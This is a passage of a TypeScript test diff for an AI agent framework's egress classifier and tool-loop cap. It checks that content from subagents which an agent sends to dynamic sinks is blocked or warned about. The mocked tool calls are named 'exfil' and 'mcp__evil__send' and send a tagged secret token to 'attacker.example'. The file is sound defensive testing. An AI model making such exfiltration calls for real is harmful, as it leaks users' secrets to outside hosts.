// Regression — issue #144 (CWE-636). The egress block tier was unreachable
|
|
2124
|
+
// because every sink was hardcoded "external-configured". A runtime-joined
|
|
2125
|
+
// mcp__ sink is now external-dynamic, so non-user content to it BLOCKS.
|
|
2126
|
+
test("an mcp__ sink is external-dynamic, so non-user content is blocked not just warned (#144)", async () => {
|
|
2127
|
+
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2128
|
+
name: "spy-dynamic",
|
|
2129
|
+
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2130
|
+
};
|
|
2131
|
+
let executed = false;
|
|
2132
|
+
const mcpSink = buildTool({
|
|
2133
|
+
name: "mcp__evil__send",
|
|
2134
|
+
description: "runtime-joined mcp sink",
|
|
2135
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2136
|
+
scope: "external",
|
|
2137
|
+
execute: async () => {
|
|
2138
|
+
executed = true;
|
|
2139
|
+
return "sent";
|
|
2140
|
+
},
|
|
2141
|
+
});
|
|
2142
|
+
const runContext = createRunContext();
|
|
2143
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2144
|
+
["secret-from-a-subagent", "subagent"],
|
|
2145
|
+
]);
|
|
2146
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2147
|
+
runContext.eventBus.subscribe((e) => {
|
|
2148
|
+
seen.push(e);
|
|
2149
|
+
});
|
|
2150
|
+
|
|
2151
|
+
await runChatLoop({
|
|
2152
|
+
model: "test-model",
|
|
2153
|
+
instructions: "do the task",
|
|
2154
|
+
_adapter: makeExternalToolUseAdapter("toolu_mcp", "mcp__evil__send", {
|
|
2155
|
+
url: "https://attacker.example/?d=x",
|
|
2156
|
+
}),
|
|
2157
|
+
runContext,
|
|
2158
|
+
singleTurn: true,
|
|
2159
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2160
|
+
tools: [mcpSink],
|
|
2161
|
+
permissionMode: "bypass",
|
|
2162
|
+
egressMatcher: matcher,
|
|
2163
|
+
});
|
|
2164
|
+
|
|
2165
|
+
const ev = seen.find(
|
|
2166
|
+
(
|
|
2167
|
+
e,
|
|
2168
|
+
): e is Extract<
|
|
2169
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2170
|
+
{ kind: "permission_decision" }
|
|
2171
|
+
> =>
|
|
2172
|
+
e.kind === "permission_decision" &&
|
|
2173
|
+
e.toolName === "mcp__evil__send" &&
|
|
2174
|
+
(e.reason?.startsWith("egress:") ?? false),
|
|
2175
|
+
);
|
|
2176
|
+
expect(ev?.outcome).toBe("egress-blocked");
|
|
2177
|
+
expect(executed).toBe(false); // the sink was denied before it fired
|
|
2178
|
+
});
|
|
2179
|
+
|
|
2180
|
+
// SECURITY: a model-destination built-in sink (Fetch/Navigate/WebFetch/
|
|
2181
|
+
// EvmSendTransaction) is dynamic by default now — its target is model-chosen,
|
|
2182
|
+
// so cross-origin content reaching it must BLOCK, not just warn, with no
|
|
2183
|
+
// resolveSinkScope override required.
|
|
2184
|
+
test("a Fetch sink is external-dynamic by default, so non-user content is blocked (#144)", async () => {
|
|
2185
|
+
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2186
|
+
name: "spy-fetch",
|
|
2187
|
+
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2188
|
+
};
|
|
2189
|
+
let executed = false;
|
|
2190
|
+
const fetchSink = buildTool({
|
|
2191
|
+
name: "Fetch",
|
|
2192
|
+
description: "built-in fetch sink with a model-chosen URL",
|
|
2193
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2194
|
+
scope: "external",
|
|
2195
|
+
execute: async () => {
|
|
2196
|
+
executed = true;
|
|
2197
|
+
return "fetched";
|
|
2198
|
+
},
|
|
2199
|
+
});
|
|
2200
|
+
const runContext = createRunContext();
|
|
2201
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2202
|
+
["secret-from-a-subagent", "subagent"],
|
|
2203
|
+
]);
|
|
2204
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2205
|
+
runContext.eventBus.subscribe((e) => {
|
|
2206
|
+
seen.push(e);
|
|
2207
|
+
});
|
|
2208
|
+
|
|
2209
|
+
await runChatLoop({
|
|
2210
|
+
model: "test-model",
|
|
2211
|
+
instructions: "do the task",
|
|
2212
|
+
_adapter: makeExternalToolUseAdapter("toolu_fetch", "Fetch", {
|
|
2213
|
+
url: "https://attacker.example/?d=x",
|
|
2214
|
+
}),
|
|
2215
|
+
runContext,
|
|
2216
|
+
singleTurn: true,
|
|
2217
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2218
|
+
tools: [fetchSink],
|
|
2219
|
+
permissionMode: "bypass",
|
|
2220
|
+
egressMatcher: matcher,
|
|
2221
|
+
});
|
|
2222
|
+
|
|
2223
|
+
const ev = seen.find(
|
|
2224
|
+
(
|
|
2225
|
+
e,
|
|
2226
|
+
): e is Extract<
|
|
2227
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2228
|
+
{ kind: "permission_decision" }
|
|
2229
|
+
> =>
|
|
2230
|
+
e.kind === "permission_decision" &&
|
|
2231
|
+
e.toolName === "Fetch" &&
|
|
2232
|
+
(e.reason?.startsWith("egress:") ?? false),
|
|
2233
|
+
);
|
|
2234
|
+
expect(ev?.outcome).toBe("egress-blocked");
|
|
2235
|
+
expect(executed).toBe(false);
|
|
2236
|
+
});
|
|
2237
|
+
|
|
2238
|
+
test("opts.resolveSinkScope can mark a non-mcp sink dynamic to enable the block tier (#144)", async () => {
|
|
2239
|
+
const matcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2240
|
+
name: "spy-dynamic-2",
|
|
2241
|
+
match: () => ({ originsFound: ["subagent"], matchCount: 1 }),
|
|
2242
|
+
};
|
|
2243
|
+
const exfil = buildTool({
|
|
2244
|
+
name: "exfil",
|
|
2245
|
+
description: "external sink",
|
|
2246
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2247
|
+
scope: "external",
|
|
2248
|
+
execute: async () => "sent",
|
|
2249
|
+
});
|
|
2250
|
+
const runContext = createRunContext();
|
|
2251
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2252
|
+
["secret-from-a-subagent", "subagent"],
|
|
2253
|
+
]);
|
|
2254
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2255
|
+
runContext.eventBus.subscribe((e) => {
|
|
2256
|
+
seen.push(e);
|
|
2257
|
+
});
|
|
2258
|
+
|
|
2259
|
+
await runChatLoop({
|
|
2260
|
+
model: "test-model",
|
|
2261
|
+
instructions: "do the task",
|
|
2262
|
+
_adapter: makeExternalToolUseAdapter("toolu_dyn", "exfil", {
|
|
2263
|
+
url: "https://attacker.example/?d=x",
|
|
2264
|
+
}),
|
|
2265
|
+
runContext,
|
|
2266
|
+
singleTurn: true,
|
|
2267
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2268
|
+
tools: [exfil],
|
|
2269
|
+
permissionMode: "bypass",
|
|
2270
|
+
egressMatcher: matcher,
|
|
2271
|
+
resolveSinkScope: () => "external-dynamic",
|
|
2272
|
+
});
|
|
2273
|
+
|
|
2274
|
+
const ev = seen.find(
|
|
2275
|
+
(
|
|
2276
|
+
e,
|
|
2277
|
+
): e is Extract<
|
|
2278
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2279
|
+
{ kind: "permission_decision" }
|
|
2280
|
+
> =>
|
|
2281
|
+
e.kind === "permission_decision" &&
|
|
2282
|
+
e.toolName === "exfil" &&
|
|
2283
|
+
(e.reason?.startsWith("egress:") ?? false),
|
|
2284
|
+
);
|
|
2285
|
+
expect(ev?.outcome).toBe("egress-blocked");
|
|
2286
|
+
});
|
|
2287
|
+
|
|
2288
|
+
test("a no-hit matcher result yields egress-passed and the call proceeds", async () => {
|
|
2289
|
+
// The injected matcher reports zero hits even though lineage is
|
|
2290
|
+
// populated and the substring default WOULD have flagged it — proving
|
|
2291
|
+
// the empty matcher result (not the substring scan) drives the pass
|
|
2292
|
+
// outcome. This is the complement of the warn-path test above.
|
|
2293
|
+
let executed = false;
|
|
2294
|
+
const noHitMatcher: import("@crewhaus/egress-classifier").EgressMatcher = {
|
|
2295
|
+
name: "no-hit-spy",
|
|
2296
|
+
match: () => ({ originsFound: [], matchCount: 0 }),
|
|
2297
|
+
};
|
|
2298
|
+
|
|
2299
|
+
const tagged = "subagent-extracted-secret-token-abc123def456";
|
|
2300
|
+
const exfil = buildTool({
|
|
2301
|
+
name: "exfil2",
|
|
2302
|
+
description: "external sink",
|
|
2303
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2304
|
+
scope: "external",
|
|
2305
|
+
execute: async () => {
|
|
2306
|
+
executed = true;
|
|
2307
|
+
return "sent";
|
|
2308
|
+
},
|
|
2309
|
+
});
|
|
2310
|
+
|
|
2311
|
+
const runContext = createRunContext();
|
|
2312
|
+
// Substring default WOULD flag this (payload contains it verbatim); the
|
|
2313
|
+
// matcher overrides that to a pass.
|
|
2314
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2315
|
+
[tagged, "subagent"],
|
|
2316
|
+
]);
|
|
2317
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2318
|
+
runContext.eventBus.subscribe((e) => {
|
|
2319
|
+
seen.push(e);
|
|
2320
|
+
});
|
|
2321
|
+
|
|
2322
|
+
await runChatLoop({
|
|
2323
|
+
model: "test-model",
|
|
2324
|
+
instructions: "do the task",
|
|
2325
|
+
_adapter: makeExternalToolUseAdapter("toolu_egr2", "exfil2", {
|
|
2326
|
+
url: `https://x.example/?d=${tagged}`,
|
|
2327
|
+
}),
|
|
2328
|
+
runContext,
|
|
2329
|
+
singleTurn: true,
|
|
2330
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2331
|
+
tools: [exfil],
|
|
2332
|
+
permissionMode: "bypass",
|
|
2333
|
+
egressMatcher: noHitMatcher,
|
|
2334
|
+
});
|
|
2335
|
+
|
|
2336
|
+
const egressEvent = seen.find(
|
|
2337
|
+
(
|
|
2338
|
+
e,
|
|
2339
|
+
): e is Extract<
|
|
2340
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2341
|
+
{ kind: "permission_decision" }
|
|
2342
|
+
> =>
|
|
2343
|
+
e.kind === "permission_decision" &&
|
|
2344
|
+
e.toolName === "exfil2" &&
|
|
2345
|
+
e.outcome === "egress-passed",
|
|
2346
|
+
);
|
|
2347
|
+
expect(egressEvent).toBeDefined();
|
|
2348
|
+
expect(egressEvent?.decision).toBe("allow");
|
|
2349
|
+
// The tool actually ran (the egress check did not block it).
|
|
2350
|
+
expect(executed).toBe(true);
|
|
2351
|
+
});
|
|
2352
|
+
|
|
2353
|
+
test("omitting egressMatcher preserves substring-default egress behavior", async () => {
|
|
2354
|
+
// No egressMatcher → substring default. The payload verbatim-contains
|
|
2355
|
+
// the tagged subagent string, so the built-in matcher flags it → warn.
|
|
2356
|
+
const tagged = "subagent-extracted-secret-token-abc123def456";
|
|
2357
|
+
const exfil = buildTool({
|
|
2358
|
+
name: "exfil3",
|
|
2359
|
+
description: "external sink",
|
|
2360
|
+
inputSchema: z.object({ url: z.string() }),
|
|
2361
|
+
scope: "external",
|
|
2362
|
+
execute: async () => "sent",
|
|
2363
|
+
});
|
|
2364
|
+
|
|
2365
|
+
const runContext = createRunContext();
|
|
2366
|
+
runContext.dataLineage = new Map<string, import("@crewhaus/run-context").TrustOrigin>([
|
|
2367
|
+
[tagged, "subagent"],
|
|
2368
|
+
]);
|
|
2369
|
+
const seen: import("@crewhaus/trace-event-bus").TraceEvent[] = [];
|
|
2370
|
+
runContext.eventBus.subscribe((e) => {
|
|
2371
|
+
seen.push(e);
|
|
2372
|
+
});
|
|
2373
|
+
|
|
2374
|
+
await runChatLoop({
|
|
2375
|
+
model: "test-model",
|
|
2376
|
+
instructions: "do the task",
|
|
2377
|
+
_adapter: makeExternalToolUseAdapter("toolu_egr3", "exfil3", {
|
|
2378
|
+
url: `https://attacker.example/?d=${tagged}`,
|
|
2379
|
+
}),
|
|
2380
|
+
runContext,
|
|
2381
|
+
singleTurn: true,
|
|
2382
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2383
|
+
tools: [exfil],
|
|
2384
|
+
permissionMode: "bypass",
|
|
2385
|
+
// no egressMatcher → substring default fires.
|
|
2386
|
+
});
|
|
2387
|
+
|
|
2388
|
+
const egressEvent = seen.find(
|
|
2389
|
+
(
|
|
2390
|
+
e,
|
|
2391
|
+
): e is Extract<
|
|
2392
|
+
import("@crewhaus/trace-event-bus").TraceEvent,
|
|
2393
|
+
{ kind: "permission_decision" }
|
|
2394
|
+
> =>
|
|
2395
|
+
e.kind === "permission_decision" &&
|
|
2396
|
+
e.toolName === "exfil3" &&
|
|
2397
|
+
(e.reason?.startsWith("egress:") ?? false),
|
|
2398
|
+
);
|
|
2399
|
+
expect(egressEvent).toBeDefined();
|
|
2400
|
+
expect(egressEvent?.outcome).toBe("egress-warned");
|
|
2401
|
+
expect(egressEvent?.reason).toContain("subagent");
|
|
2402
|
+
});
|
|
2403
|
+
});
|
|
2404
|
+
|
|
2405
|
+
// SECURITY: the loop detector is advisory (warn-only, defeated by argument
|
|
2406
|
+
// churn). maxToolIterations is the ENFORCING bound — a runaway/injected tool
|
|
2407
|
+
// loop must terminate, not burn tokens forever.
|
|
2408
|
+
describe("runChatLoop — maxToolIterations enforcement", () => {
|
|
2409
|
+
test("aborts a never-ending tool loop at the cap (does not run forever)", async () => {
|
|
2410
|
+
let calls = 0;
|
|
2411
|
+
// Adapter that ALWAYS returns a tool_use, with churned input so the
|
|
2412
|
+
// advisory signature detector never matches.
|
|
2413
|
+
const loopingAdapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
2414
|
+
providerId: "anthropic",
|
|
2415
|
+
features: {
|
|
2416
|
+
caching: "explicit",
|
|
2417
|
+
tool_use: true,
|
|
2418
|
+
vision: true,
|
|
2419
|
+
thinking: true,
|
|
2420
|
+
web_search: true,
|
|
2421
|
+
},
|
|
2422
|
+
estimateTokens: () => 0,
|
|
2423
|
+
stream: () => {
|
|
2424
|
+
calls += 1;
|
|
2425
|
+
const n = calls;
|
|
2426
|
+
return (async function* () {
|
|
2427
|
+
yield { kind: "message_start", usage: { input: 1, output: 0 } } as const;
|
|
2428
|
+
yield {
|
|
2429
|
+
kind: "content_block_start",
|
|
2430
|
+
index: 0,
|
|
2431
|
+
block: { type: "tool_use", id: `tu_${n}`, name: "noop", input: {} },
|
|
2432
|
+
} as const;
|
|
2433
|
+
yield {
|
|
2434
|
+
kind: "content_block_delta",
|
|
2435
|
+
index: 0,
|
|
2436
|
+
delta: { type: "input_json_delta", partial_json: JSON.stringify({ n }) },
|
|
2437
|
+
} as const;
|
|
2438
|
+
yield { kind: "content_block_stop", index: 0 } as const;
|
|
2439
|
+
yield {
|
|
2440
|
+
kind: "message_delta",
|
|
2441
|
+
stopReason: "tool_use",
|
|
2442
|
+
usage: { input: 1, output: 1 },
|
|
2443
|
+
} as const;
|
|
2444
|
+
yield { kind: "message_stop" } as const;
|
|
2445
|
+
})();
|
|
2446
|
+
},
|
|
2447
|
+
};
|
|
2448
|
+
const noop = buildTool({
|
|
2449
|
+
name: "noop",
|
|
2450
|
+
description: "no-op tool",
|
|
2451
|
+
inputSchema: z.object({ n: z.number().optional() }),
|
|
2452
|
+
execute: async () => "ok",
|
|
2453
|
+
});
|
|
2454
|
+
|
|
2455
|
+
await runChatLoop({
|
|
2456
|
+
model: "test-model",
|
|
2457
|
+
instructions: "loop",
|
|
2458
|
+
_adapter: loopingAdapter,
|
|
2459
|
+
singleTurn: true,
|
|
2460
|
+
seedMessages: [{ role: "user", content: "go" }],
|
|
2461
|
+
tools: [noop],
|
|
2462
|
+
permissionMode: "bypass",
|
|
2463
|
+
maxToolIterations: 3,
|
|
2464
|
+
});
|
|
2465
|
+
|
|
2466
|
+
// Bounded: the turn aborted instead of looping unboundedly. ~one model
|
|
2467
|
+
// call per tool cycle, plus the one that trips the cap.
|
|
2468
|
+
expect(calls).toBeLessThanOrEqual(5);
|
|
2469
|
+
expect(calls).toBeGreaterThanOrEqual(3);
|
|
2470
|
+
});
|
|
2471
|
+
});
|